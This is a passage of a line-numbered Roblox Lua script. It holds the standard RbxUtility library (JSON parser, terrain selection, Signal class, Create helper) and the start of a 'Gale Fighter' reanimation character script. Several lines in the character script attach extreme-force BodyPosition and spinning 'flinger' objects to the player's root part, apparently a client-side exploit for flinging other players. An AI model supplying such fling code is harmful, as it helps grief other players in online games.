967 if not done then
968 local ch = self:Next()
969 if ch ~= ',' then
970 error(string.format(
971 "Invalid array: '%s' due to: '%s'",
972 self:All(), ch))
973 end
974 end
975 end
976 assert(']' == self:Next())
977 return result
978 end
979
980 function JsonReader:ReadObject()
981 local result = {}
982 assert(self:Next() == '{')
983 local done = false
984 if self:Peek() == '}' then
985 done = true
986 end
987 while not done do
988 local key = self:Read()
989 if type(key) ~= "string" then
990 error(string.format(
991 "Invalid non-string object key: %s",
992 key))
993 end
994 self:SkipWhiteSpace()
995 local ch = self:Next()
996 if ch ~= ':' then
997 error(string.format(
998 "Invalid object: '%s' due to: '%s'",
999 self:All(),
1000 ch))
1001 end
1002 self:SkipWhiteSpace()
1003 local val = self:Read()
1004 result[key] = val
1005 self:SkipWhiteSpace()
1006 if self:Peek() == '}' then
1007 done = true
1008 end
1009 if not done then
1010 ch = self:Next()
1011 if ch ~= ',' then
1012 error(string.format(
1013 "Invalid array: '%s' near: '%s'",
1014 self:All(),
1015 ch))
1016 end
1017 end
1018 end
1019 assert(self:Next() == "}")
1020 return result
1021 end
1022
1023 function JsonReader:SkipWhiteSpace()
1024 local p = self:Peek()
1025 while p ~= nil and string.find(p, "[%s/]") do
1026 if p == '/' then
1027 self:ReadComment()
1028 else
1029 self:Next()
1030 end
1031 p = self:Peek()
1032 end
1033 end
1034
1035 function JsonReader:Peek()
1036 return self.reader:Peek()
1037 end
1038
1039 function JsonReader:Next()
1040 return self.reader:Next()
1041 end
1042
1043 function JsonReader:All()
1044 return self.reader:All()
1045 end
1046
1047 function Encode(o)
1048 local writer = JsonWriter:New()
1049 writer:Write(o)
1050 return writer:ToString()
1051 end
1052
1053 function Decode(s)
1054 local reader = JsonReader:New(s)
1055 return reader:Read()
1056 end
1057
1058 function Null()
1059 return Null
1060 end
1061 -------------------- End JSON Parser ------------------------
1062
1063 t.DecodeJSON = function(jsonString)
1064 pcall(function() warn("RbxUtility.DecodeJSON is deprecated, please use Game:GetService('HttpService'):JSONDecode() instead.") end)
1065
1066 if type(jsonString) == "string" then
1067 return Decode(jsonString)
1068 end
1069 print("RbxUtil.DecodeJSON expects string argument!")
1070 return nil
1071 end
1072
1073 t.EncodeJSON = function(jsonTable)
1074 pcall(function() warn("RbxUtility.EncodeJSON is deprecated, please use Game:GetService('HttpService'):JSONEncode() instead.") end)
1075 return Encode(jsonTable)
1076 end
1077
1078
1079
1080
1081
1082
1083
1084
1085 ------------------------------------------------------------------------------------------------------------------------
1086 ------------------------------------------------------------------------------------------------------------------------
1087 ------------------------------------------------------------------------------------------------------------------------
1088 --------------------------------------------Terrain Utilities Begin-----------------------------------------------------
1089 ------------------------------------------------------------------------------------------------------------------------
1090 ------------------------------------------------------------------------------------------------------------------------
1091 ------------------------------------------------------------------------------------------------------------------------
1092 --makes a wedge at location x, y, z
1093 --sets cell x, y, z to default material if parameter is provided, if not sets cell x, y, z to be whatever material it previously w
1094 --returns true if made a wedge, false if the cell remains a block
1095 t.MakeWedge = function(x, y, z, defaultmaterial)
1096 return game:GetService("Terrain"):AutoWedgeCell(x,y,z)
1097 end
1098
1099 t.SelectTerrainRegion = function(regionToSelect, color, selectEmptyCells, selectionParent)
1100 local terrain = game:GetService("Workspace"):FindFirstChild("Terrain")
1101 if not terrain then return end
1102
1103 assert(regionToSelect)
1104 assert(color)
1105
1106 if not type(regionToSelect) == "Region3" then
1107 error("regionToSelect (first arg), should be of type Region3, but is type",type(regionToSelect))
1108 end
1109 if not type(color) == "BrickColor" then
1110 error("color (second arg), should be of type BrickColor, but is type",type(color))
1111 end
1112
1113 -- frequently used terrain calls (speeds up call, no lookup necessary)
1114 local GetCell = terrain.GetCell
1115 local WorldToCellPreferSolid = terrain.WorldToCellPreferSolid
1116 local CellCenterToWorld = terrain.CellCenterToWorld
1117 local emptyMaterial = Enum.CellMaterial.Empty
1118
1119 -- container for all adornments, passed back to user
1120 local selectionContainer = Instance.new("Model")
1121 selectionContainer.Name = "SelectionContainer"
1122 selectionContainer.Archivable = false
1123 if selectionParent then
1124 selectionContainer.Parent = selectionParent
1125 else
1126 selectionContainer.Parent = game:GetService("Workspace")
1127 end
1128
1129 local updateSelection = nil -- function we return to allow user to update selection
1130 local currentKeepAliveTag = nil -- a tag that determines whether adorns should be destroyed
1131 local aliveCounter = 0 -- helper for currentKeepAliveTag
1132 local lastRegion = nil -- used to stop updates that do nothing
1133 local adornments = {} -- contains all adornments
1134 local reusableAdorns = {}
1135
1136 local selectionPart = Instance.new("Part")
1137 selectionPart.Name = "SelectionPart"
1138 selectionPart.Transparency = 1
1139 selectionPart.Anchored = true
1140 selectionPart.Locked = true
1141 selectionPart.CanCollide = false
1142 selectionPart.Size = Vector3.new(4.2,4.2,4.2)
1143
1144 local selectionBox = Instance.new("SelectionBox")
1145
1146 -- srs translation from region3 to region3int16
1147 local function Region3ToRegion3int16(region3)
1148 local theLowVec = region3.CFrame.p - (region3.Size/2) + Vector3.new(2,2,2)
1149 local lowCell = WorldToCellPreferSolid(terrain,theLowVec)
1150
1151 local theHighVec = region3.CFrame.p + (region3.Size/2) - Vector3.new(2,2,2)
1152 local highCell = WorldToCellPreferSolid(terrain, theHighVec)
1153
1154 local highIntVec = Vector3int16.new(highCell.x,highCell.y,highCell.z)
1155 local lowIntVec = Vector3int16.new(lowCell.x,lowCell.y,lowCell.z)
1156
1157 return Region3int16.new(lowIntVec,highIntVec)
1158 end
1159
1160 -- helper function that creates the basis for a selection box
1161 function createAdornment(theColor)
1162 local selectionPartClone = nil
1163 local selectionBoxClone = nil
1164
1165 if #reusableAdorns > 0 then
1166 selectionPartClone = reusableAdorns[1]["part"]
1167 selectionBoxClone = reusableAdorns[1]["box"]
1168 table.remove(reusableAdorns,1)
1169
1170 selectionBoxClone.Visible = true
1171 else
1172 selectionPartClone = selectionPart:Clone()
1173 selectionPartClone.Archivable = false
1174
1175 selectionBoxClone = selectionBox:Clone()
1176 selectionBoxClone.Archivable = false
1177
1178 selectionBoxClone.Adornee = selectionPartClone
1179 selectionBoxClone.Parent = selectionContainer
1180
1181 selectionBoxClone.Adornee = selectionPartClone
1182
1183 selectionBoxClone.Parent = selectionContainer
1184 end
1185
1186 if theColor then
1187 selectionBoxClone.Color = theColor
1188 end
1189
1190 return selectionPartClone, selectionBoxClone
1191 end
1192
1193 -- iterates through all current adornments and deletes any that don't have latest tag
1194 function cleanUpAdornments()
1195 for cellPos, adornTable in pairs(adornments) do
1196
1197 if adornTable.KeepAlive ~= currentKeepAliveTag then -- old news, we should get rid of this
1198 adornTable.SelectionBox.Visible = false
1199 table.insert(reusableAdorns,{part = adornTable.SelectionPart, box = adornTable.SelectionBox})
1200 adornments[cellPos] = nil
1201 end
1202 end
1203 end
1204
1205 -- helper function to update tag
1206 function incrementAliveCounter()
1207 aliveCounter = aliveCounter + 1
1208 if aliveCounter > 1000000 then
1209 aliveCounter = 0
1210 end
1211 return aliveCounter
1212 end
1213
1214 -- finds full cells in region and adorns each cell with a box, with the argument color
1215 function adornFullCellsInRegion(region, color)
1216 local regionBegin = region.CFrame.p - (region.Size/2) + Vector3.new(2,2,2)
1217 local regionEnd = region.CFrame.p + (region.Size/2) - Vector3.new(2,2,2)
1218
1219 local cellPosBegin = WorldToCellPreferSolid(terrain, regionBegin)
1220 local cellPosEnd = WorldToCellPreferSolid(terrain, regionEnd)
1221
1222 currentKeepAliveTag = incrementAliveCounter()
1223 for y = cellPosBegin.y, cellPosEnd.y do
1224 for z = cellPosBegin.z, cellPosEnd.z do
1225 for x = cellPosBegin.x, cellPosEnd.x do
1226 local cellMaterial = GetCell(terrain, x, y, z)
1227
1228 if cellMaterial ~= emptyMaterial then
1229 local cframePos = CellCenterToWorld(terrain, x, y, z)
1230 local cellPos = Vector3int16.new(x,y,z)
1231
1232 local updated = false
1233 for cellPosAdorn, adornTable in pairs(adornments) do
1234 if cellPosAdorn == cellPos then
1235 adornTable.KeepAlive = currentKeepAliveTag
1236 if color then
1237 adornTable.SelectionBox.Color = color
1238 end
1239 updated = true
1240 break
1241 end
1242 end
1243
1244 if not updated then
1245 local selectionPart, selectionBox = createAdornment(color)
1246 selectionPart.Size = Vector3.new(4,4,4)
1247 selectionPart.CFrame = CFrame.new(cframePos)
1248 local adornTable = {SelectionPart = selectionPart, SelectionBox = selectionBox, KeepAlive = currentKeepAliveTag}
1249 adornments[cellPos] = adornTable
1250 end
1251 end
1252 end
1253 end
1254 end
1255 cleanUpAdornments()
1256 end
1257
1258
1259 ------------------------------------- setup code ------------------------------
1260 lastRegion = regionToSelect
1261
1262 if selectEmptyCells then -- use one big selection to represent the area selected
1263 local selectionPart, selectionBox = createAdornment(color)
1264
1265 selectionPart.Size = regionToSelect.Size
1266 selectionPart.CFrame = regionToSelect.CFrame
1267
1268 adornments.SelectionPart = selectionPart
1269 adornments.SelectionBox = selectionBox
1270
1271 updateSelection =
1272 function (newRegion, color)
1273 if newRegion and newRegion ~= lastRegion then
1274 lastRegion = newRegion
1275 selectionPart.Size = newRegion.Size
1276 selectionPart.CFrame = newRegion.CFrame
1277 end
1278 if color then
1279 selectionBox.Color = color
1280 end
1281 end
1282 else -- use individual cell adorns to represent the area selected
1283 adornFullCellsInRegion(regionToSelect, color)
1284 updateSelection =
1285 function (newRegion, color)
1286 if newRegion and newRegion ~= lastRegion then
1287 lastRegion = newRegion
1288 adornFullCellsInRegion(newRegion, color)
1289 end
1290 end
1291
1292 end
1293
1294 local destroyFunc = function()
1295 updateSelection = nil
1296 if selectionContainer then selectionContainer:Destroy() end
1297 adornments = nil
1298 end
1299
1300 return updateSelection, destroyFunc
1301 end
1302
1303 -----------------------------Terrain Utilities End-----------------------------
1304
1305
1306
1307
1308
1309
1310
1311 ------------------------------------------------------------------------------------------------------------------------
1312 ------------------------------------------------------------------------------------------------------------------------
1313 ------------------------------------------------------------------------------------------------------------------------
1314 ------------------------------------------------Signal class begin------------------------------------------------------
1315 ------------------------------------------------------------------------------------------------------------------------
1316 ------------------------------------------------------------------------------------------------------------------------
1317 ------------------------------------------------------------------------------------------------------------------------
1318--[[
1319A 'Signal' object identical to the internal RBXScriptSignal object in it's public API and semantics. This function
1320can be used to create "custom events" for user-made code.
1321API:
1322Method :connect( function handler )
1323Arguments: The function to connect to.
1324Returns: A new connection object which can be used to disconnect the connection
1325Description: Connects this signal to the function specified by |handler|. That is, when |fire( ... )| is called for
1326the signal the |handler| will be called with the arguments given to |fire( ... )|. Note, the functions
1327connected to a signal are called in NO PARTICULAR ORDER, so connecting one function after another does
1328NOT mean that the first will be called before the second as a result of a call to |fire|.
1329
1330Method :disconnect()
1331Arguments: None
1332Returns: None
1333Description: Disconnects all of the functions connected to this signal.
1334
1335Method :fire( ... )
1336Arguments: Any arguments are accepted
1337Returns: None
1338Description: Calls all of the currently connected functions with the given arguments.
1339
1340Method :wait()
1341Arguments: None
1342Returns: The arguments given to fire
1343Description: This call blocks until
1344]]
1345
1346 function t.CreateSignal()
1347 local this = {}
1348
1349 local mBindableEvent = Instance.new('BindableEvent')
1350 local mAllCns = {} --all connection objects returned by mBindableEvent::connect
1351
1352 --main functions
1353 function this:connect(func)
1354 if self ~= this then error("connect must be called with `:`, not `.`", 2) end
1355 if type(func) ~= 'function' then
1356 error("Argument #1 of connect must be a function, got a "..type(func), 2)
1357 end
1358 local cn = mBindableEvent.Event:Connect(func)
1359 mAllCns[cn] = true
1360 local pubCn = {}
1361 function pubCn:disconnect()
1362 cn:Disconnect()
1363 mAllCns[cn] = nil
1364 end
1365 pubCn.Disconnect = pubCn.disconnect
1366
1367 return pubCn
1368 end
1369
1370 function this:disconnect()
1371 if self ~= this then error("disconnect must be called with `:`, not `.`", 2) end
1372 for cn, _ in pairs(mAllCns) do
1373 cn:Disconnect()
1374 mAllCns[cn] = nil
1375 end
1376 end
1377
1378 function this:wait()
1379 if self ~= this then error("wait must be called with `:`, not `.`", 2) end
1380 return mBindableEvent.Event:Wait()
1381 end
1382
1383 function this:fire(...)
1384 if self ~= this then error("fire must be called with `:`, not `.`", 2) end
1385 mBindableEvent:Fire(...)
1386 end
1387
1388 this.Connect = this.connect
1389 this.Disconnect = this.disconnect
1390 this.Wait = this.wait
1391 this.Fire = this.fire
1392
1393 return this
1394 end
1395
1396 ------------------------------------------------- Sigal class End ------------------------------------------------------
1397
1398
1399
1400
1401 ------------------------------------------------------------------------------------------------------------------------
1402 ------------------------------------------------------------------------------------------------------------------------
1403 ------------------------------------------------------------------------------------------------------------------------
1404 -----------------------------------------------Create Function Begins---------------------------------------------------
1405 ------------------------------------------------------------------------------------------------------------------------
1406 ------------------------------------------------------------------------------------------------------------------------
1407 ------------------------------------------------------------------------------------------------------------------------
1408--[[
1409A "Create" function for easy creation of Roblox instances. The function accepts a string which is the classname of
1410the object to be created. The function then returns another function which either accepts accepts no arguments, in
1411which case it simply creates an object of the given type, or a table argument that may contain several types of data,
1412in which case it mutates the object in varying ways depending on the nature of the aggregate data. These are the
1413type of data and what operation each will perform:
14141) A string key mapping to some value:
1415Key-Value pairs in this form will be treated as properties of the object, and will be assigned in NO PARTICULAR
1416ORDER. If the order in which properties is assigned matter, then they must be assigned somewhere else than the
1417|Create| call's body.
1418
14192) An integral key mapping to another Instance:
1420Normal numeric keys mapping to Instances will be treated as children if the object being created, and will be
1421parented to it. This allows nice recursive calls to Create to create a whole hierarchy of objects without a
1422need for temporary variables to store references to those objects.
1423
14243) A key which is a value returned from Create.Event( eventname ), and a value which is a function function
1425The Create.E( string ) function provides a limited way to connect to signals inside of a Create hierarchy
1426for those who really want such a functionality. The name of the event whose name is passed to
1427Create.E( string )
1428
14294) A key which is the Create function itself, and a value which is a function
1430The function will be run with the argument of the object itself after all other initialization of the object is
1431done by create. This provides a way to do arbitrary things involving the object from withing the create
1432hierarchy.
1433Note: This function is called SYNCHRONOUSLY, that means that you should only so initialization in
1434it, not stuff which requires waiting, as the Create call will block until it returns. While waiting in the
1435constructor callback function is possible, it is probably not a good design choice.
1436Note: Since the constructor function is called after all other initialization, a Create block cannot have two
1437constructor functions, as it would not be possible to call both of them last, also, this would be unnecessary.
1438
1439
1440Some example usages:
1441
1442A simple example which uses the Create function to create a model object and assign two of it's properties.
1443local model = Create'Model'{
1444Name = 'A New model',
1445Parent = game.Workspace,
1446}
1447
1448
1449An example where a larger hierarchy of object is made. After the call the hierarchy will look like this:
1450Model_Container
1451|-ObjectValue
1452| |
1453| `-BoolValueChild
1454`-IntValue
1455
1456local model = Create'Model'{
1457Name = 'Model_Container',
1458Create'ObjectValue'{
1459Create'BoolValue'{
1460Name = 'BoolValueChild',
1461},
1462},
1463Create'IntValue'{},
1464}
1465
1466
1467An example using the event syntax:
1468
1469local part = Create'Part'{
1470[Create.E'Touched'] = function(part)
1471print("I was touched by "..part.Name)
1472end,
1473}
1474
1475
1476An example using the general constructor syntax:
1477
1478local model = Create'Part'{
1479[Create] = function(this)
1480print("Constructor running!")
1481this.Name = GetGlobalFoosAndBars(this)
1482end,
1483}
1484
1485
1486Note: It is also perfectly legal to save a reference to the function returned by a call Create, this will not cause
1487any unexpected behavior. EG:
1488local partCreatingFunction = Create'Part'
1489local part = partCreatingFunction()
1490]]
1491
1492 --the Create function need to be created as a functor, not a function, in order to support the Create.E syntax, so it
1493 --will be created in several steps rather than as a single function declaration.
1494 local function Create_PrivImpl(objectType)
1495 if type(objectType) ~= 'string' then
1496 error("Argument of Create must be a string", 2)
1497 end
1498 --return the proxy function that gives us the nice Create'string'{data} syntax
1499 --The first function call is a function call using Lua's single-string-argument syntax
1500 --The second function call is using Lua's single-table-argument syntax
1501 --Both can be chained together for the nice effect.
1502 return function(dat)
1503 --default to nothing, to handle the no argument given case
1504 dat = dat or {}
1505
1506 --make the object to mutate
1507 local obj = Instance.new(objectType)
1508 local parent = nil
1509
1510 --stored constructor function to be called after other initialization
1511 local ctor = nil
1512
1513 for k, v in pairs(dat) do
1514 --add property
1515 if type(k) == 'string' then
1516 if k == 'Parent' then
1517 -- Parent should always be set last, setting the Parent of a new object
1518 -- immediately makes performance worse for all subsequent property updates.
1519 parent = v
1520 else
1521 obj[k] = v
1522 end
1523
1524
1525 --add child
1526 elseif type(k) == 'number' then
1527 if type(v) ~= 'userdata' then
1528 error("Bad entry in Create body: Numeric keys must be paired with children, got a: "..type(v), 2)
1529 end
1530 v.Parent = obj
1531
1532
1533 --event connect
1534 elseif type(k) == 'table' and k.__eventname then
1535 if type(v) ~= 'function' then
1536 error("Bad entry in Create body: Key `[Create.E\'"..k.__eventname.."\']` must have a function value\
1537got: "..tostring(v), 2)
1538 end
1539 obj[k.__eventname]:connect(v)
1540
1541
1542 --define constructor function
1543 elseif k == t.Create then
1544 if type(v) ~= 'function' then
1545 error("Bad entry in Create body: Key `[Create]` should be paired with a constructor function, \
1546got: "..tostring(v), 2)
1547 elseif ctor then
1548 --ctor already exists, only one allowed
1549 error("Bad entry in Create body: Only one constructor function is allowed", 2)
1550 end
1551 ctor = v
1552
1553
1554 else
1555 error("Bad entry ("..tostring(k).." => "..tostring(v)..") in Create body", 2)
1556 end
1557 end
1558
1559 --apply constructor function if it exists
1560 if ctor then
1561 ctor(obj)
1562 end
1563
1564 if parent then
1565 obj.Parent = parent
1566 end
1567
1568 --return the completed object
1569 return obj
1570 end
1571 end
1572
1573 --now, create the functor:
1574 t.Create = setmetatable({}, {__call = function(tb, ...) return Create_PrivImpl(...) end})
1575
1576 --and create the "Event.E" syntax stub. Really it's just a stub to construct a table which our Create
1577 --function can recognize as special.
1578 t.Create.E = function(eventName)
1579 return {__eventname = eventName}
1580 end
1581
1582 -------------------------------------------------Create function End----------------------------------------------------
1583
1584
1585
1586
1587 ------------------------------------------------------------------------------------------------------------------------
1588 ------------------------------------------------------------------------------------------------------------------------
1589 ------------------------------------------------------------------------------------------------------------------------
1590 ------------------------------------------------Documentation Begin-----------------------------------------------------
1591 ------------------------------------------------------------------------------------------------------------------------
1592 ------------------------------------------------------------------------------------------------------------------------
1593 ------------------------------------------------------------------------------------------------------------------------
1594
1595 t.Help =
1596 function(funcNameOrFunc)
1597 --input argument can be a string or a function. Should return a description (of arguments and expected side effects)
1598 if funcNameOrFunc == "DecodeJSON" or funcNameOrFunc == t.DecodeJSON then
1599 return "Function DecodeJSON. " ..
1600 "Arguments: (string). " ..
1601 "Side effect: returns a table with all parsed JSON values"
1602 end
1603 if funcNameOrFunc == "EncodeJSON" or funcNameOrFunc == t.EncodeJSON then
1604 return "Function EncodeJSON. " ..
1605 "Arguments: (table). " ..
1606 "Side effect: returns a string composed of argument table in JSON data format"
1607 end
1608 if funcNameOrFunc == "MakeWedge" or funcNameOrFunc == t.MakeWedge then
1609 return "Function MakeWedge. " ..
1610 "Arguments: (x, y, z, [default material]). " ..
1611 "Description: Makes a wedge at location x, y, z. Sets cell x, y, z to default material if "..
1612 "parameter is provided, if not sets cell x, y, z to be whatever material it previously was. "..
1613 "Returns true if made a wedge, false if the cell remains a block "
1614 end
1615 if funcNameOrFunc == "SelectTerrainRegion" or funcNameOrFunc == t.SelectTerrainRegion then
1616 return "Function SelectTerrainRegion. " ..
1617 "Arguments: (regionToSelect, color, selectEmptyCells, selectionParent). " ..
1618 "Description: Selects all terrain via a series of selection boxes within the regionToSelect " ..
1619 "(this should be a region3 value). The selection box color is detemined by the color argument " ..
1620 "(should be a brickcolor value). SelectionParent is the parent that the selection model gets placed to (optional)." ..
1621 "SelectEmptyCells is bool, when true will select all cells in the " ..
1622 "region, otherwise we only select non-empty cells. Returns a function that can update the selection," ..
1623 "arguments to said function are a new region3 to select, and the adornment color (color arg is optional). " ..
1624 "Also returns a second function that takes no arguments and destroys the selection"
1625 end
1626 if funcNameOrFunc == "CreateSignal" or funcNameOrFunc == t.CreateSignal then
1627 return "Function CreateSignal. "..
1628 "Arguments: None. "..
1629 "Returns: The newly created Signal object. This object is identical to the RBXScriptSignal class "..
1630 "used for events in Objects, but is a Lua-side object so it can be used to create custom events in"..
1631 "Lua code. "..
1632 "Methods of the Signal object: :connect, :wait, :fire, :disconnect. "..
1633 "For more info you can pass the method name to the Help function, or view the wiki page "..
1634 "for this library. EG: Help('Signal:connect')."
1635 end
1636 if funcNameOrFunc == "Signal:connect" then
1637 return "Method Signal:connect. "..
1638 "Arguments: (function handler). "..
1639 "Return: A connection object which can be used to disconnect the connection to this handler. "..
1640 "Description: Connectes a handler function to this Signal, so that when |fire| is called the "..
1641 "handler function will be called with the arguments passed to |fire|."
1642 end
1643 if funcNameOrFunc == "Signal:wait" then
1644 return "Method Signal:wait. "..
1645 "Arguments: None. "..
1646 "Returns: The arguments passed to the next call to |fire|. "..
1647 "Description: This call does not return until the next call to |fire| is made, at which point it "..
1648 "will return the values which were passed as arguments to that |fire| call."
1649 end
1650 if funcNameOrFunc == "Signal:fire" then
1651 return "Method Signal:fire. "..
1652 "Arguments: Any number of arguments of any type. "..
1653 "Returns: None. "..
1654 "Description: This call will invoke any connected handler functions, and notify any waiting code "..
1655 "attached to this Signal to continue, with the arguments passed to this function. Note: The calls "..
1656 "to handlers are made asynchronously, so this call will return immediately regardless of how long "..
1657 "it takes the connected handler functions to complete."
1658 end
1659 if funcNameOrFunc == "Signal:disconnect" then
1660 return "Method Signal:disconnect. "..
1661 "Arguments: None. "..
1662 "Returns: None. "..
1663 "Description: This call disconnects all handlers attacched to this function, note however, it "..
1664 "does NOT make waiting code continue, as is the behavior of normal Roblox events. This method "..
1665 "can also be called on the connection object which is returned from Signal:connect to only "..
1666 "disconnect a single handler, as opposed to this method, which will disconnect all handlers."
1667 end
1668 if funcNameOrFunc == "Create" then
1669 return "Function Create. "..
1670 "Arguments: A table containing information about how to construct a collection of objects. "..
1671 "Returns: The constructed objects. "..
1672 "Descrition: Create is a very powerfull function, whose description is too long to fit here, and "..
1673 "is best described via example, please see the wiki page for a description of how to use it."
1674 end
1675 end
1676
1677 --------------------------------------------Documentation Ends----------------------------------------------------------
1678
1679 return t
1680 end
1681
1682 --[[ Name : Gale Fighter ]]--
1683 -------------------------------------------------------
1684 --A Collaboration Between makhail07 and KillerDarkness0105
1685
1686 --Base Animaion by makhail07, attacks by KillerDarkness0105
1687 -------------------------------------------------------
1688
1689
1690 local FavIDs = {
1691 340106355, --Nefl Crystals
1692 927529620, --Dimension
1693 876981900, --Fantasy
1694 398987889, --Ordinary Days
1695 1117396305, --Oh wait, it's you.
1696 885996042, --Action Winter Journey
1697 919231299, --Sprawling Idiot Effigy
1698 743466274, --Good Day Sunshine
1699 727411183, --Knife Fight
1700 1402748531, --The Earth Is Counting On You!
1701 595230126 --Robot Language
1702 }
1703
1704
1705
1706 --The reality of my life isn't real but a Universe -makhail07
1707 wait(0.2)
1708 local plr = game:GetService("Players").LocalPlayer
1709 print('Local User is '..plr.Name)
1710 print('Gale Fighter Loaded')
1711 print('The Fighter that is as fast as wind, a true Fighter')
1712 local char = plr.Character.NullwareReanim
1713 local hum = char.Humanoid
1714 local hed = char.Head
1715 local root = char.HumanoidRootPart
1716 local rootj = root.RootJoint
1717 local tors = char.Torso
1718 local ra = char["Right Arm"]
1719 local la = char["Left Arm"]
1720 local rl = char["Right Leg"]
1721 local ll = char["Left Leg"]
1722 local neck = tors["Neck"]
1723 local mouse = plr:GetMouse()
1724 local RootCF = CFrame.fromEulerAnglesXYZ(-1.57, 0, 3.14)
1725 local RHCF = CFrame.fromEulerAnglesXYZ(0, 1.6, 0)
1726 local LHCF = CFrame.fromEulerAnglesXYZ(0, -1.6, 0)
1727 local maincolor = BrickColor.new("Institutional white")
1728 hum.MaxHealth = 200
1729 hum.Health = 200
1730
1731 local hrp = game:GetService("Players").LocalPlayer.Character.HumanoidRootPart
1732
1733 hrp.Name = "HumanoidRootPart"
1734 hrp.Transparency = 0.5
1735 hrp.Anchored = false
1736 if hrp:FindFirstChildOfClass("AlignPosition") then
1737 hrp:FindFirstChildOfClass("AlignPosition"):Destroy()
1738 end
1739 if hrp:FindFirstChildOfClass("AlignOrientation") then
1740 hrp:FindFirstChildOfClass("AlignOrientation"):Destroy()
1741 end
1742 local bp = Instance.new("BodyPosition", hrp)
1743 bp.Position = hrp.Position
1744 bp.D = 9999999
1745 bp.P = 999999999999999
1746 bp.MaxForce = Vector3.new(math.huge,math.huge,math.huge)
1747 local flinger = Instance.new("BodyAngularVelocity",hrp)
1748 flinger.MaxTorque = Vector3.new(math.huge,math.huge,math.huge)
1749 flinger.P = 1000000000000000000000000000
1750 flinger.AngularVelocity = Vector3.new(10000,10000,10000)
1751
1752 spawn(function()
1753 while game:GetService("RunService").Heartbeat:Wait() do
1754 bp.Position = game:GetService("Players").LocalPlayer.Character["NullwareReanim"].Torso.Position
1755 end
1756 end)
1757
1758 -------------------------------------------------------
1759 --Start Good Stuff--
1760 -------------------------------------------------------
1761 cam = game.Workspace.CurrentCamera
1762 CF = CFrame.new
1763 angles = CFrame.Angles
1764 attack = false
1765 Euler = CFrame.fromEulerAnglesXYZ
1766 Rad = math.rad
1767 IT = Instance.new
1768 BrickC = BrickColor.new
1769 Cos = math.cos
1770 Acos = math.acos
1771 Sin = math.sin
1772 Asin = math.asin
1773 Abs = math.abs
1774 Mrandom = math.random
1775 Floor = math.floor
1776 -------------------------------------------------------
1777 --End Good Stuff--
1778 -------------------------------------------------------
1779 necko = CF(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
1780 RSH, LSH = nil, nil
1781 RW = Instance.new("Weld")
1782 LW = Instance.new("Weld")
1783 RH = tors["Right Hip"]
1784 LH = tors["Left Hip"]
1785 RSH = tors["Right Shoulder"]
1786 LSH = tors["Left Shoulder"]
1787 RSH.Parent = nil
1788 LSH.Parent = nil
1789 RW.Name = "RW"
1790 RW.Part0 = tors
1791 RW.C0 = CF(1.5, 0.5, 0)
1792 RW.C1 = CF(0, 0.5, 0)
1793 RW.Part1 = ra
1794 RW.Parent = tors
1795 LW.Name = "LW"
1796 LW.Part0 = tors
1797 LW.C0 = CF(-1.5, 0.5, 0)
1798 LW.C1 = CF(0, 0.5, 0)
1799 LW.Part1 = la
1800 LW.Parent = tors
1801 vt = Vector3.new
1802 Effects = {}
1803 -------------------------------------------------------
1804 --Start HeartBeat--
1805 -------------------------------------------------------
1806 ArtificialHB = Instance.new("BindableEvent", script)
1807 ArtificialHB.Name = "Heartbeat"
1808 script:WaitForChild("Heartbeat")
1809
1810 frame = 1 / 90
1811 tf = 0
1812 allowframeloss = false
1813 tossremainder = false
1814
1815
1816 lastframe = tick()
1817 script.Heartbeat:Fire()
1818
1819
1820 game:GetService("RunService").Heartbeat:connect(function(s, p)
1821 tf = tf + s
1822 if tf >= frame then
1823 if allowframeloss then
1824 script.Heartbeat:Fire()
1825 lastframe = tick()
1826 else
1827 for i = 1, math.floor(tf / frame) do
1828 script.Heartbeat:Fire()
1829 end
1830 lastframe = tick()
1831 end
1832 if tossremainder then
1833 tf = 0
1834 else
1835 tf = tf - frame * math.floor(tf / frame)
1836 end
1837 end
1838 end)
1839 -------------------------------------------------------
1840 --End HeartBeat--
1841 -------------------------------------------------------
1842
1843
1844
1845 -------------------------------------------------------
1846 --Start Combo Function--
1847 -------------------------------------------------------
1848 local comboing = false
1849 local combohits = 0
1850 local combotime = 0
1851 local maxtime = 65
1852
1853
1854
1855 function sandbox(var,func)
1856 local env = getfenv(func)
1857 local newenv = setmetatable({},{
1858 __index = function(self,k)
1859 if k=="script" then
1860 return var
1861 else
1862 return env[k]
1863 end
1864 end,
1865 })
1866 setfenv(func,newenv)
1867 return func
1868 end
1869 cors = {}
1870 mas = Instance.new("Model",game:GetService("Lighting"))
1871 comboframe = Instance.new("ScreenGui")
1872 Frame1 = Instance.new("Frame")
1873 Frame2 = Instance.new("Frame")
1874 TextLabel3 = Instance.new("TextLabel")
1875 comboframe.Name = "combinserter"
1876 comboframe.Parent = mas
1877 Frame1.Name = "combtimegui"
1878 Frame1.Parent = comboframe
1879 Frame1.Size = UDim2.new(0, 300, 0, 14)
1880 Frame1.Position = UDim2.new(0, 900, 0.629999971, 0)
1881 Frame1.BackgroundColor3 = Color3.new(0, 0, 0)
1882 Frame1.BorderColor3 = Color3.new(0.0313726, 0.0470588, 0.0627451)
1883 Frame1.BorderSizePixel = 5
1884 Frame2.Name = "combtimeoverlay"
1885 Frame2.Parent = Frame1
1886 Frame2.Size = UDim2.new(0, 0, 0, 14)
1887 Frame2.BackgroundColor3 = Color3.new(0, 1, 0)
1888 Frame2.ZIndex = 2
1889 TextLabel3.Parent = Frame2
1890 TextLabel3.Transparency = 0
1891 TextLabel3.Size = UDim2.new(0, 300, 0, 50)
1892 TextLabel3.Text ="Hits: "..combohits
1893 TextLabel3.Position = UDim2.new(0, 0, -5.5999999, 0)
1894 TextLabel3.BackgroundColor3 = Color3.new(1, 1, 1)
1895 TextLabel3.BackgroundTransparency = 1
1896 TextLabel3.Font = Enum.Font.Bodoni
1897 TextLabel3.FontSize = Enum.FontSize.Size60
1898 TextLabel3.TextColor3 = Color3.new(0, 1, 0)
1899 TextLabel3.TextStrokeTransparency = 0
1900 gui = game:GetService("Players").LocalPlayer.PlayerGui
1901 for i,v in pairs(mas:GetChildren()) do
1902 v.Parent = game:GetService("Players").LocalPlayer.PlayerGui
1903 pcall(function() v:MakeJoints() end)
1904 end
1905 mas:Destroy()
1906 for i,v in pairs(cors) do
1907 spawn(function()
1908 pcall(v)
1909 end)
1910 end
1911
1912
1913
1914
1915
1916 coroutine.resume(coroutine.create(function()
1917 while true do
1918 wait()
1919
1920
1921 if combotime>65 then
1922 combotime = 65
1923 end
1924
1925
1926
1927
1928
1929 if combotime>.1 and comboing == true then
1930 TextLabel3.Transparency = 0
1931 TextLabel3.TextStrokeTransparency = 0
1932 TextLabel3.BackgroundTransparency = 1
